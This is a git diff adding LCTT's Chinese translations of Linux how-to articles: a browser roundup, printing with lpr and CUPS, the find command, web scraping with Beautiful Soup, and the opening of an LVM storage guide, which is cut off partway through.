+你可以得到所有的基本功能,并且能够整合所有的谷歌服务。如果你喜欢在安卓系统上使用 Chrome 浏览器,并希望在多个平台上进行同步,那么它是桌面 Linux 的明显选择。 + +如果你在使用谷歌服务的同时寻找一个简单而强力的网页浏览器,Chrome 浏览器可以是一个不错的选择。 + +#### 如何在 Linux 上安装 Chrome 浏览器? + +Chrome 浏览器提供 Deb 和 RPM 包,可以让你在任何基于 Ubuntu 或 Fedora/openSUSE 发行版上安装。 + +如果你在安装方面需要帮助,我应该向你指出我们关于 [在 Linux 上安装 Chrome 浏览器][16] 的指南。 + +### 5、Brave + +![][17] + +**优点** + + * 隐私保护功能 + * 性能 + +**缺点** + + * 没有基于账户的同步 + +[Brave][35] 浏览器是最受欢迎的 Linux 浏览器之一。 + +它是一个开源项目,基于 Chromium。它提供几个有用的隐私保护功能,并以其极快的性能而闻名。 + +与其他浏览器不同的是,即使你屏蔽了网站上的广告,你也可以获得奖励。你收集的奖励只能用于回馈你喜欢的网站。这样一来,你在屏蔽广告的同时也得到了对网站的支持。 + +你可以期待以最小的资源占用获得更快的用户体验。   + +如果你需要在两者之间做出决定,我们也有一篇详细的 [关于 Brave 和 Firefox 的比较文章][18]。 + +#### 如何在 Linux 上安装 Brave? + +与其他一些网页浏览器不同,你不能直接在软件中心找到软件包。你需要在终端输入一些命令来安装该浏览器。 + +不用担心,你可以按照我们的 [安装 Brave 浏览器的说明][19] 来进行。 + +### 6、Opera + +![][20] + +**优点** + + * 内置免费的 VPN + * 额外的功能 + +**缺点** + + * 不是开源的 + +虽然 [Opera][22] 不是最流行的选择,但它对 Linux 用户来说绝对是一个有用的浏览器。 + +它有一个内置的 VPN 和广告拦截器。因此,在 Opera 浏览器的帮助下,你应该会得到基本的隐私保护。 + +你可以直接从侧边栏快速访问流行的聊天信使,而不需要启动单独的应用程序或窗口。这种侧边栏的聊天信使网页应用与 Vivaldi 类似,但用户体验明显不同。 + +总的来说,如果你想要一个免费的 VPN 作为其他基本浏览功能之外的奖励,它是一个不错的选择。 + +值得注意的是,Opera 提供了一个独特的 [Opera GX][21] 浏览器,让你在使用浏览器并同时进行游戏活动时可以调整或强制限制系统资源。在写这篇文章的时候,该功能还在开发 Linux 版本,如果在你读到这篇文章的时候,它已经可以使用了,这可能是一个很好的选择。 + +#### 如何安装 Opera? + +Opera 为 Linux 提供了 Deb 包。你只需前往其官方网站下载并安装即可。 + +### 7、微软 Edge + +![][23] + +**优点** + + * 为同时也使用 Linux 的 Windows 用户提供了方便的选择。 + +**缺点** + + * 不是开源的 + +[微软 Edge][24] 在受欢迎程度上已经超过了 Mozilla Firefox。不仅仅是因为它是默认的 Windows 浏览器,而是它在基于 Chrome 浏览器的同时,还提供了很有前景的网页体验。 + +微软 Edge 已经发布了面向 Linux 的稳定版。它目前运行良好,但缺乏一些的通常可用于 Windows 的功能。 + +总的来说,你应该会发现大部分的基本功能都是可用的。 + +如果你使用 Windows 和 Linux 作为你的桌面平台,微软 Edge 可以考虑作为首选的网页浏览器。 + +#### 如何在 Linux 上安装微软 Edge? + +现在,你可以通过微软 Edge 的官方网页获得 Deb/RPM 文件并安装它。 + +你也可以看看我们关于 [在 Linux 上安装微软 Edge][25] 的方法。 + +### Linux 独有的网页浏览器 + +考虑到安全更新和未来升级,大多数用户喜欢坚持使用主流选项,但也有一些不同的选项。而且,有些是 Linux 用户专属的。 + +### 8、GNOME Web(Epiphany) + +![][26] + +**优点** + + * 精简 + * 开源 + +**缺点** + + * 缺少许多功能 + * 没有跨平台支持 + +[Epiphany 浏览器][27] 是 GNOME 的默认浏览器。elementary OS 也将其作为默认的网页浏览器。 + +它是一个精简的浏览器,提供了一个干净和优雅的用户体验。你不能同步你的书签或历史记录,所以如果你想备份或转移到其他浏览器,你需要手动导出它们。 + +#### 如何安装 GNOME Web? + +你可能会发现它预装在一些 Linux 发行版中。如果没有,你可以用它的 [Flatpak 包][28] 来在任何 Linux 发行版上安装最新版本。 + +### 9、Falkon + +![][29] + +**优点** + + * 基于 Firefox 的替代品 + +**缺点** + + * 不能替代 Firefox + * 没有跨平台支持 + +[Falkon][31] 是一个基于 Firefox 的浏览器,考虑到了隐私问题。它对于基本的网页浏览应该是足够好的,但它可能不是你日常使用的解决方案。 + +你可以在我们专门的 [关于 Falkon 浏览器的文章][30] 中了解更多关于它的信息并获得安装说明。 + +### 10、Nyxt + +![][32] + +**优点** + + * 高度的可定制性 + * 重点关注键盘操作 + +**缺点** + + * 适用于某些用户 + * 缺乏跨平台支持 + +[Nyxt][36] 是一个有趣的网页浏览器,为资深的键盘用户而建立。你可以使用键盘快捷键来浏览和导航网页。 + +要了解更多关于它的信息和安装说明,请浏览我们关于 [Nyxt 浏览器][33] 的详细文章。 + +### 总结 + +说到 Linux,你会有很多选择可供挑选。我在这里特意跳过了 [如 Lynx 这样的基于命令行的网页浏览器][34]。 + +那么,你会选择什么样的网页浏览器呢? + +此外,我很想知道,你在为你的系统安装网页浏览器时会考虑什么? + +欢迎在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/best-browsers-ubuntu-linux/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/web-browser-ubuntu.png?resize=800%2C450&ssl=1 +[2]: https://itsfoss.com/open-source-browsers-linux/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/vivaldi-screenshot.png?resize=800%2C502&ssl=1 +[4]: https://news.itsfoss.com/vivaldi-4-0-release/ +[5]: https://vivaldi.com +[6]: https://itsfoss.com/install-deb-files-ubuntu/ +[7]: https://itsfoss.com/install-rpm-files-fedora/ +[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-proton.png?resize=800%2C450&ssl=1 +[9]: https://www.mozilla.org/en-US/firefox/new/ +[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/chromium-screenshot.png?resize=800%2C558&ssl=1 +[11]: https://news.itsfoss.com/is-google-locking-down-chrome/ +[12]: https://www.chromium.org +[13]: https://itsfoss.com/install-chromium-ubuntu/ +[14]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/google-chrome-screenshot.png?resize=800%2C557&ssl=1 +[15]: https://www.google.com/chrome/ +[16]: https://itsfoss.com/install-chrome-ubuntu/ +[17]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/brave-ui-new.jpg?resize=800%2C450&ssl=1 +[18]: https://itsfoss.com/brave-vs-firefox/ +[19]: https://itsfoss.com/brave-web-browser/ +[20]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/opera-screenshot.png?resize=800%2C543&ssl=1 +[21]: https://www.opera.com/gx +[22]: https://www.opera.com/ +[23]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/04/microsoft-edge-on-linux.png?resize=800%2C439&ssl=1 +[24]: https://www.microsoftedgeinsider.com/en-us/ +[25]: https://itsfoss.com/microsoft-edge-linux/ +[26]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/gnome-web.png?resize=800%2C450&ssl=1 +[27]: https://apps.gnome.org/en-GB/app/org.gnome.Epiphany/ +[28]: https://flathub.org/apps/details/org.gnome.Epiphany +[29]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2019/12/falkon-browser-1.png?resize=800%2C450&ssl=1 +[30]: https://itsfoss.com/falkon-browser/ +[31]: https://www.falkon.org +[32]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/05/nyxt-browser-settings.png?resize=800%2C617&ssl=1 +[33]: https://itsfoss.com/nyxt-browser/ +[34]: https://itsfoss.com/terminal-web-browsers/ +[35]: https://brave.com/its979 +[36]: https://nyxt.atlas.engineer/ \ No newline at end of file diff --git a/published/202112/20210903 Print files from your Linux terminal.md b/published/202112/20210903 Print files from your Linux terminal.md new file mode 100644 index 0000000000..4b1b1c40d3 --- /dev/null +++ b/published/202112/20210903 Print files from your Linux terminal.md @@ -0,0 +1,151 @@ +[#]: subject: "Print files from your Linux terminal" +[#]: via: "https://opensource.com/article/21/9/print-files-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14099-1.html" + +从 Linux 终端打印文件 +====== + +> 使用 lpr 命令在终端中打印文件。 + +![](https://img.linux.net.cn/data/attachment/album/202112/20/135809an6s6bxyg7sjnwyq.jpg) + +[在 Linux 上打印很容易][2],但有时感觉要做很多工作,比如启动应用程序、打开文件、在菜单中找到打印选项,单击确认按钮等等。当你是一个终端用户时,通常希望使用简单的触发器执行复杂的操作。打印很复杂,但没有什么比 `lpr` 命令更简单了。 + +### 使用 lpr 命令打印 + +使用 `lpr` 命令在终端打印文件: + +``` +$ lpr myfile.odt +``` + +如果失败的话,你需要设置默认打印机或手动指定打印机。 + +### 设置默认打印机 + +根据我在 1984 年印刷的 Berkeley 4.2 手册的旧版本中找到的资料,`lpr` 命令会分页并将文件发送到打印机池,后者将数据传输到称为 行式打印机line printer 的东西。 + +![显示 LPR 命令信息的页面][3] + +现在,最初的 `lpr` 命令已经无法满足,因为现代计算机可以访问多台打印机,而且是那些比点阵行式打印机复杂得多的打印机。现在有一个称为通用 Unix 打印系统Common Unix Printing System(CUPS)子系统,可以跟踪你的计算机可以访问的所有打印机,计算机应该使用哪个驱动程序与每台打印机通信,默认使用哪台打印机等等。 CUPS 捆绑提供的 `lpr.cups` 或 `lpr-cups` 命令通常以符号链接到 `lpr`,允许你首先借助 CUPS 配置从终端打印。 + +使用 `lpr` 打印文件,你应该首先设置默认打印机。你可以在系统的打印机设置中设置: + +![设置默认打印机对话框][4] + +或者,你也可以使用 `lpadmin` 命令设置: + +``` +$ sudo lpadmin -d HP_LaserJet_P2015_Series +$ lpstat -v +device for HP_LaserJet_P2015_Series: ipp://10.0.1.222:631/printers/HP_LaserJet_P2015_Series +``` + +### 使用环境变量设置 + +你不能在没有管理员账户的系统上设置默认打印机,因为更改打印机默认设置是一项特权任务。在 `lpr` 借助 CUPS 找到目标打印机前,它会在系统中查询 `PRINTER` [环境变量][5]。 + +在本例中,`HP_LaserJet_P2015_Series` 是打印机的名称。将 `PRINTER` 设置为该值: + +``` +$ PRINTER=HP_LaserJet_P2015_Series +$ export PRINTER +``` + +一旦设置了 `PRINTER` 变量,你就可以打印了: + +``` +$ lpr myfile.pdf +``` + +### 获取连接的打印机列表 + +你可以使用 `lpstat` 命令查看所有连接到系统接受打印任务的打印机: + +``` +$ lpstat -a +HP_LaserJet_P2015_Series accepting requests since Sun 1 Aug 2021 10:11:02 PM NZST +r1060 accepting requests since Wed 18 Aug 2021 04:43:57 PM NZST +``` + +### 打印到任意一台打印机 + +将打印机添加到系统后,并且现在你知道如何识别它们了,你可以打印到其中任何一台,无论你是否设置了默认打印机: + +``` +$ lpr -P HP_LaserJet_P2015_Series myfile.txt +``` + +### 如何定义打印机 + +CUPS 有一个友好的前端页面,可通过 Web 浏览器如 Firefox 访问。虽然它使用 Web 浏览器作为用户界面,但它实际上是在本机(一个称为 `localhost` 的位置)的 631 端口上提供服务。CUPS 管理连接到计算机的打印机,并将其配置存储在 `/etc/cups/priters.conf` 中。 + +`printers.conf` 文件包含详细描述计算机可以访问的打印设备的定义。不要直接编辑它,但如果你想这样做,你必须先停止 `cupsd` 守护进程。 + +一个典型的文件定义如下所示: + +``` + + Info Ricoh 1060 + Location Downstairs + MakeModel Ricoh Aficio 1060 - CUPS+Gutenprint v5.2.6 + DeviceURI lpd://192.168.4.8 + State Idle + StateTime 1316011347 + Type 12308 + Filter application/vnd.cups-raw 0 - + Filter application/vnd.cups-raster 100 rastertogutenprint.5.2 + Accepting Yes + Shared No + JobSheets none none + QuotaPeriod 0 + PageLimit 0 + KLimit 0 + OpPolicy default + ErrorPolicy stop-printer + +``` + +在本例中,打印机的名称是 `r1060`,即 “Ricoh Aficio 1060”。 + +`MakeModel` 属性是从 `lpinfo` 命令中提取的,该命令列出了系统上所有可用的打印机驱动程序。假设你知道要打印到 Ricoh Aficio 1060,那么你会发出以下命令: + +``` +$ lpinfo -m | grep 1060 +gutenprint.5.2://brother-hl-1060/expert Brother HL-1060 - CUPS+Gutenprint v5.2.11 +gutenprint.5.2://ricoh-afc_1060/expert Ricoh Aficio 1060 - CUPS+Gutenprint v5.2.11 +``` + +它会列出已安装的相关驱动程序。 + +`MakeModel` 属性是结果的后半部分。在本例中为 `Ricoh Aficio 1060 - CUPS+Gutenprint v5.2.11`。 + +`DeviceURI` 属性标识打印机在网络上的位置(或物理位置,例如 USB 端口)。在本例中,它是 `lpd://192.168.4.8`,因为我使用 `lpd` 协议将数据发送到一台网络打印机。在我的另一个系统上,我有一个通过 USB 连接的 HP LaserJect 打印机,因此 `DeviceURI` 是 `hp:/usb/HP_LaserJet_P2015_Series?serial=00CNCJM26429`。 + +### 在终端中打印 + +将作业发送到打印机是一个简单的过程,只要你了解连接到系统的设备以及如何识别它们。在终端打印非常快速、高效,并且易于编写脚本或作为批处理作业完成。试试看! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/9/print-files-linux + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/typewriter-hands.jpg?itok=oPugBzgv (Typewriter with hands) +[2]: https://opensource.com/article/21/8/setup-your-printer-linux +[3]: https://opensource.com/sites/default/files/berkeley-1984-lpr.jpeg +[4]: https://opensource.com/sites/default/files/printer-default.jpeg +[5]: https://opensource.com/article/19/8/what-are-environment-variables diff --git a/published/202112/20210909 Find files and directories on Linux with the find command.md b/published/202112/20210909 Find files and directories on Linux with the find command.md new file mode 100644 index 0000000000..3cc6004e5e --- /dev/null +++ b/published/202112/20210909 Find files and directories on Linux with the find command.md @@ -0,0 +1,167 @@ +[#]: subject: "Find files and directories on Linux with the find command" +[#]: via: "https://opensource.com/article/21/9/linux-find-command" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14071-1.html" + +使用 find 命令在 Linux 上查找文件和目录 +======================================= + +> 学习 find 命令的原因有很多。 + +![](https://img.linux.net.cn/data/attachment/album/202112/11/083907eapzsopvcoc0ooro.jpg) + +不管我决心如何组织文件,似乎总有无法找到文件的时候。有时是因为我不记得最初的文件名,其他时候,我知道名字,但我不记得在哪里保存它了。甚至有时我需要一个我最初就没有创建的文件。但是,无论遇到什么困难,我知道在 [POSIX 系统][2] 上,总是有 `find` 命令可以帮助我。 + +### 安装 find + +`find` 命令由 [POSIX 规范][3] 定义,它创建了一个用于衡量 POSIX 系统的开放标准,这包括 Linux、BSD 和 macOS。简而言之,只要你运行的是 Linux、BSD 或 macOS,那么 `find` 已经安装了。 + +但是,并非所有的 `find` 命令都完全相同。例如,GNU 的 `find` 命令有一些 BSD、Busybox 或 Solaris 上 `find` 命令可能没有或有但实现方式不同的功能。本文使用 [findutils][4] 包中的 GNU `find`,因为它很容易获得且非常流行。本文演示的大多数命令都适用于 `find` 的其他实现,但是如果你在 Linux 以外的平台上尝试命令并得到非预期结果,尝试下载并安装 GNU 版本。 + +### 按名称查找文件 + +你可以借助正则表达式使用完整或部分的文件名来定位文件。`find` 命令需要你给出想搜索的目录;指定搜索属性选项,例如,`-name` 用于指定区分大小写的文件名;然后是搜索字符串。默认情况下,搜索字符串按字面意思处理:除非你使用正则表达式语法,否则 `find` 命令搜索的文件名正是你在引号之间输入的字符串。 + +假设你的 `Documents` 目录包含四个文件:`Foo`、`foo`、`foobar.txt` 和 `foo.xml`。以下是对 `foo` 的字面搜索: + +``` +$ find ~ -name "foo" +/home/tux/Documents/examples/foo +``` + +你可以使用 `-iname` 选项使其不区分大小写来扩大搜索范围: + +``` +$ find ~ -iname "foo" +/home/tux/Documents/examples/foo +/home/tux/Documents/examples/Foo +``` + +### 通配符 + +你可以使用基本的 shell 通配符来扩展搜索。例如,`*` 表示任意数量的字符: + +``` +$ find ~ -iname "foo*" +/home/tux/Documents/examples/foo +/home/tux/Documents/examples/Foo +/home/tux/Documents/examples/foo.xml +/home/tux/Documents/examples/foobar.txt +``` + +`?` 表示单个字符: + +``` +$ find ~ -iname "foo*.???" +/home/tux/Documents/examples/foo.xml +/home/tux/Documents/examples/foobar.txt +``` + +这不是正则表达式语法,因此 `.` 在示例中只表示字母“点”。 + +### 正则表达式 + +你还可以使用正则表达式。与 `-iname` 和 `-name` 一样,也有区分大小写和不区分大小写的选项。但不一样的是,`-regex` 和 `-iregex` 搜索应用于整个路径,而不仅仅是文件名。这意味着,如果你搜索 `foo`,你不会得到任何结果,因为 `foo` 与 `/home/tux/Documents/foo` 不匹配。相反,你必须要么搜索整个路径,要么在字符串的开头使用通配符: + +``` +$ find ~ -iregex ".*foo" +/home/tux/Documents/examples/foo +/home/tux/Documents/examples/Foo +``` + +### 查找近一周修改过的文件 + +要查找近一周修改的文件,使用 `-mtime` 选项以及过去的天数(负数): + +``` +$ find ~ -mtime -7 +/home/tux/Documents/examples/foo +/home/tux/Documents/examples/Foo +/home/tux/Documents/examples/foo.xml +/home/tux/Documents/examples/foobar.txt +``` + +### 查找近几天修改的文件 + +你可以结合使用 `-mtime` 选项来查找近几天范围内修改的文件。对于第一个 `-mtime` 参数,表示上一次修改文件的最近天数。第二个参数表示最大天数。例如,搜索修改时间超过 1 天但不超过 7 天的文件: + +``` +$ find ~ -mtime +1 -mtime -7 +``` + +### 按文件类型限制搜索 + +指定查找文件的类型来优化 `find` 的结果是很常见的。如果你不确定要查找的内容,则不应该使用此选项。但如果你知道要查找的是文件而不是目录,或者是目录而不是文件,那么这可能是一个很好的过滤器。选项是 `-type`,它的参数是代表不同类型数据的字母代码。最常见的是: + +* `d` - 目录 +* `f` - 文件 +* `l` - 链接文件 +* `s` - 套接字 +* `p` - 命名管道(用于 FIFO) +* `b` - 块设备(通常是硬盘) + +下面是一些例子: + +``` +$ find ~ -type d -name "Doc*" +/home/tux/Documents +$ find ~ -type f -name "Doc*" +/home/tux/Downloads/10th-Doctor.gif +$ find /dev -type b -name "sda*" +/dev/sda +/dev/sda1 +``` + +### 调整范围 + +`find` 命令默认是递归的,这意味着它会在指定的目录中层层搜索结果。这在大型文件系统中可能会变得不堪重负,但你可以使用 `-maxdepth` 选项来控制搜索深度: + +``` +$ find /usr -iname "*xml" | wc -l +15588 +$ find /usr -maxdepth 2 -iname "*xml" | wc -l +15 +``` + +也可以使用 `-mindepth` 设置最小递归深度: + +``` +$ find /usr -mindepth 8 -iname "*xml" | wc -l +9255 +``` + +### 下载速查表 + +本文仅介绍 `find` 的基本功能,它是一个很好的搜索工具,但对于强大的 [Parallel][5] 命令来说,它也是一个非常有用的前端。学习 `find` 的原因有很多,所以 [下载我们免费的 `find` 速查表][6] 吧,它可以帮助你了解有关该命令的更多信息。 + +--- + +via: https://opensource.com/article/21/9/linux-find-command + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[#]: subject: +[#]: via: +[#]: author: +[#]: collector: +[#]: translator: +[#]: reviewer: +[#]: publisher: +[#]: url: +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/find-file-linux-code_magnifying_glass_zero.png?itok=E2HoPDg0 +[2]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains +[3]: https://pubs.opengroup.org/onlinepubs/9699919799.2018edition/ +[4]: https://www.gnu.org/software/findutils/ +[5]: https://opensource.com/article/18/5/gnu-parallel +[6]: https://opensource.com/downloads/linux-find-cheat-sheet diff --git a/published/202112/20210915 A guide to web scraping in Python using Beautiful Soup.md b/published/202112/20210915 A guide to web scraping in Python using Beautiful Soup.md new file mode 100644 index 0000000000..f22e903837 --- /dev/null +++ b/published/202112/20210915 A guide to web scraping in Python using Beautiful Soup.md @@ -0,0 +1,178 @@ +[#]: subject: "A guide to web scraping in Python using Beautiful Soup" +[#]: via: "https://opensource.com/article/21/9/web-scraping-python-beautiful-soup" +[#]: author: "Ayush Sharma https://opensource.com/users/ayushsharma" +[#]: collector: "lujun9972" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14086-1.html" + +Python Beautiful Soup 刮取简易指南 +====== + +> Python 中的 Beautiful Soup 库可以很方便的从网页中提取 HTML 内容。 + +![](https://img.linux.net.cn/data/attachment/album/202112/16/142118cmffvtfrmh1h3ufv.jpg) + +今天我们将讨论如何使用 Beautiful Soup 库从 HTML 页面中提取内容,之后,我们将使用它将其转换为 Python 列表或字典。 + +### 什么是 Web 刮取,为什么我需要它? + +答案很简单:并非每个网站都有获取内容的 API。你可能想从你最喜欢的烹饪网站上获取食谱,或者从旅游博客上获取照片。如果没有 API,提取 HTML(或者说 刮取scraping 可能是获取内容的唯一方法。我将向你展示如何使用 Python 来获取。 + +**并非所以网站都喜欢被刮取,有些网站可能会明确禁止。请于网站所有者确认是否同意刮取。** + +### Python 如何刮取网站? + +使用 Python 进行刮取,我们将执行三个基本步骤: + + 1. 使用 `requests` 库获取 HTML 内容 + 2. 分析 HTML 结构并识别包含我们需要内容的标签 + 3. 使用 Beautiful Soup 提取标签并将数据放入 Python 列表中 + +### 安装库 + +首先安装我们需要的库。`requests` 库从网站获取 HTML 内容,Beautiful Soup 解析 HTML 并将其转换为 Python 对象。在 Python3 中安装它们,运行: + +``` +pip3 install requests beautifulsoup4 +``` + +### 提取 HTML + +在本例中,我将选择刮取网站的 [Techhology][2] 部分。如果你跳转到此页面,你会看到带有标题、摘录和发布日期的文章列表。我们的目标是创建一个包含这些信息的文章列表。 + +网站页面的完整 URL 是: + +``` +https://notes.ayushsharma.in/technology +``` + +我们可以使用 `requests` 从这个页面获取 HTML 内容: + +``` +#!/usr/bin/python3 +import requests + +url = 'https://notes.ayushsharma.in/technology' + +data = requests.get(url) + +print(data.text) +``` + +变量 `data` 将包含页面的 HTML 源代码。 + +### 从 HTML 中提取内容 + +为了从 `data` 中提取数据,我们需要确定哪些标签具有我们需要的内容。 + +如果你浏览 HTML,你会发现靠近顶部的这一段: + +``` + +``` + +这是每篇文章在整个页面中重复的部分。我们可以看到 `.card-title` 包含文章标题,`.card-text` 包含摘录,`.card-footer > small` 包含发布日期。 + +让我们使用 Beautiful Soup 提取这些内容。 + +``` +#!/usr/bin/python3 +import requests +from bs4 import BeautifulSoup +from pprint import pprint + +url = 'https://notes.ayushsharma.in/technology' +data = requests.get(url) + +my_data = [] + +html = BeautifulSoup(data.text, 'html.parser') +articles = html.select('a.post-card') + +for article in articles: + + title = article.select('.card-title')[0].get_text() + excerpt = article.select('.card-text')[0].get_text() + pub_date = article.select('.card-footer small')[0].get_text() + + my_data.append({"title": title, "excerpt": excerpt, "pub_date": pub_date}) + +pprint(my_data) +``` + +以上代码提取文章信息并将它们放入 `my_data` 变量中。我使用了 `pprint` 来美化输出,但你可以在代码中忽略它。将上面的代码保存在一个名为 `fetch.py` 的文件中,然后运行它: + +``` +python3 fetch.py +``` + +如果一切顺利,你应该会看到: + +``` +[{'excerpt': "I recently discovered that Jekyll's config.yml can be used to" +"define custom variables for reusing content. I feel like I've" +'been living under a rock all this time. But to err over and over' +'again is human.', +'pub_date': 'Aug 2021', +'title': 'Using variables in Jekyll to define custom content'}, +{'excerpt': "In this article, I'll highlight some ideas for Jekyll" +'collections, blog category pages, responsive web-design, and' +'netlify.toml to make static website maintenance a breeze.', +'pub_date': 'Jul 2021', +'title': 'The evolution of ayushsharma.in: Jekyll, Bootstrap, Netlify,' +'static websites, and responsive design.'}, +{'excerpt': "These are the top 5 lessons I've learned after 5 years of" +'Terraform-ing.', +'pub_date': 'Jul 2021', +'title': '5 key best practices for sane and usable Terraform setups'}, + +... (truncated) +``` + +以上是全部内容!在这 22 行代码中,我们用 Python 构建了一个网络刮取器,你可以在 [我的示例仓库中找到源代码][7]。 + +### 总结 + +对于 Python 列表中的网站内容,我们现在可以用它做一些很酷的事情。我们可以将它作为 JSON 返回给另一个应用程序,或者使用自定义样式将其转换为 HTML。随意复制粘贴以上代码并在你最喜欢的网站上进行试验。 + +玩的开心,继续编码吧。 + +_本文最初发表在[作者个人博客][8]上,经授权改编。_ + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/9/web-scraping-python-beautiful-soup + +作者:[Ayush Sharma][a] +选题:[lujun9972][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ayushsharma +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_screen_windows_files.png?itok=kLTeQUbY (Computer screen with files or windows open) +[2]: https://notes.ayushsharma.in/technology +[3]: http://december.com/html/4/element/div.html +[4]: http://december.com/html/4/element/a.html +[5]: http://december.com/html/4/element/h5.html +[6]: http://december.com/html/4/element/small.html +[7]: https://gitlab.com/ayush-sharma/example-assets/-/blob/fd7d2dfbfa3ca34103402993b35a61cbe943bcf3/programming/beautiful-soup/fetch.py +[8]: https://notes.ayushsharma.in/2021/08/a-guide-to-web-scraping-in-python-using-beautifulsoup diff --git a/published/202112/20210922 Add storage with LVM.md b/published/202112/20210922 Add storage with LVM.md new file mode 100644 index 0000000000..d2d08a6b8d --- /dev/null +++ b/published/202112/20210922 Add storage with LVM.md @@ -0,0 +1,271 @@ +[#]: subject: "Add storage with LVM" +[#]: via: "https://opensource.com/article/21/9/add-storage-lvm" +[#]: author: "Ayush Sharma https://opensource.com/users/ayushsharma" +[#]: collector: "lujun9972" +[#]: translator: "perfiffer" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14080-1.html" + +使用 LVM 添加存储 +====== + +> LVM 为你配置存储的方式提供了极大的灵活性。 + +![](https://img.linux.net.cn/data/attachment/album/202112/13/235125wn99nloup38jnkoo.jpg) + +逻辑卷管理器Logical Volume Manager(LVM)允许在操作系统和硬件之间建立一个抽象层。通常,你的操作系统会查找磁盘(`/dev/sda`、`/dev/sdb` 等)和这些磁盘中的分区(`/dev/sda1`、`/dev/sdb1` 等)。 + +LVM 在操作系统和磁盘之间创建了一个虚拟层。LVM 不是一个驱动器持有一定数量的分区,而是创建一个统一的存储池(称为卷组Volume Group),跨越任意数量的物理驱动器(称为物理卷Physical Volume)。使用卷组中可用的存储,LVM 可以为你的操作系统提供类似磁盘和分区的功能。 + +操作系统完全没有意识到它被“欺骗”了。 + +![Drive space][2] + +由于 LVM 虚拟地创建卷组和逻辑卷,因此即使在系统运行时,也可以轻松调整它们的大小或移动它们,或者创建新卷。此外,LVM 提供了其它情况下不存在的特性,比如创建逻辑卷的活动快照时无需首先卸载磁盘。 + +LVM 中的卷组是一个命名的虚拟容器,将底层物理磁盘组合在一起。它充当一个池,可以从中创建不同大小的逻辑卷Logical Volume。逻辑卷包含实际的文件系统并且可以跨越多个磁盘,并且不需要物理上连续。 + +### 特性 + + * 分区名称通常具有系统名称,例如 `/dev/sda1`。LVM 具有便于人们理解的名称,例如 `home` 或者 `media`。 + * 分区的总大小受底层物理磁盘大小的限制。在 LVM 中,卷可以跨越多个磁盘,并且仅受 LVM 中所有物理磁盘总大小的限制。 + * 分区通常只有在磁盘未使用且已卸载时才能调整大小、移动或删除。LVM 卷可以在系统运行时进行操作。 + * 只能通过分配与分区相邻的可用空间来扩展分区。LVM 卷可以从任何地方占用可用空间。 + * 扩展分区涉及移动数据以腾出可用空间,这非常耗时,并且可能会在断电期间导致数据丢失。LVM 卷可以从卷组中的任何地方占用可用空间,甚至可以在另一块磁盘上。 + * 因为在 LVM 中创建卷非常容易,所以它鼓励创建不同的卷,例如创建单独的卷来测试功能或尝试不同的操作系统。对于分区,此过程将非常耗时并且容易出错。 + * 快照只能在 LVM 中创建。它允许你创建当前逻辑卷的时间点镜像,即使在系统运行时也可以。这非常适合备份。 + +### 测试设置 + +作为演示,假设你的系统具有以下驱动器配置: + +``` +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT +xvda 202:0 0 8G 0 disk +`-xvda1 202:1 0 8G 0 part / +xvdb 202:16 0 1G 0 disk +xvdc 202:32 0 1G 0 disk +xvdd 202:48 0 2G 0 disk +xvde 202:64 0 5G 0 disk +xvdf 202:80 0 8G 0 disk +``` + +#### 步骤 1. 初始化磁盘以用于 LVM + +运行 `pvcreate /dev/xvdb /dev/xvdc /dev/xvdd /dev/xvde /dev/xvdf`。输出应如下: + +``` +Physical volume "/dev/xvdb" successfully created +Physical volume "/dev/xvdc" successfully created +Physical volume "/dev/xvdd" successfully created +Physical volume "/dev/xvde" successfully created +Physical volume "/dev/xvdf" successfully created +``` + +使用 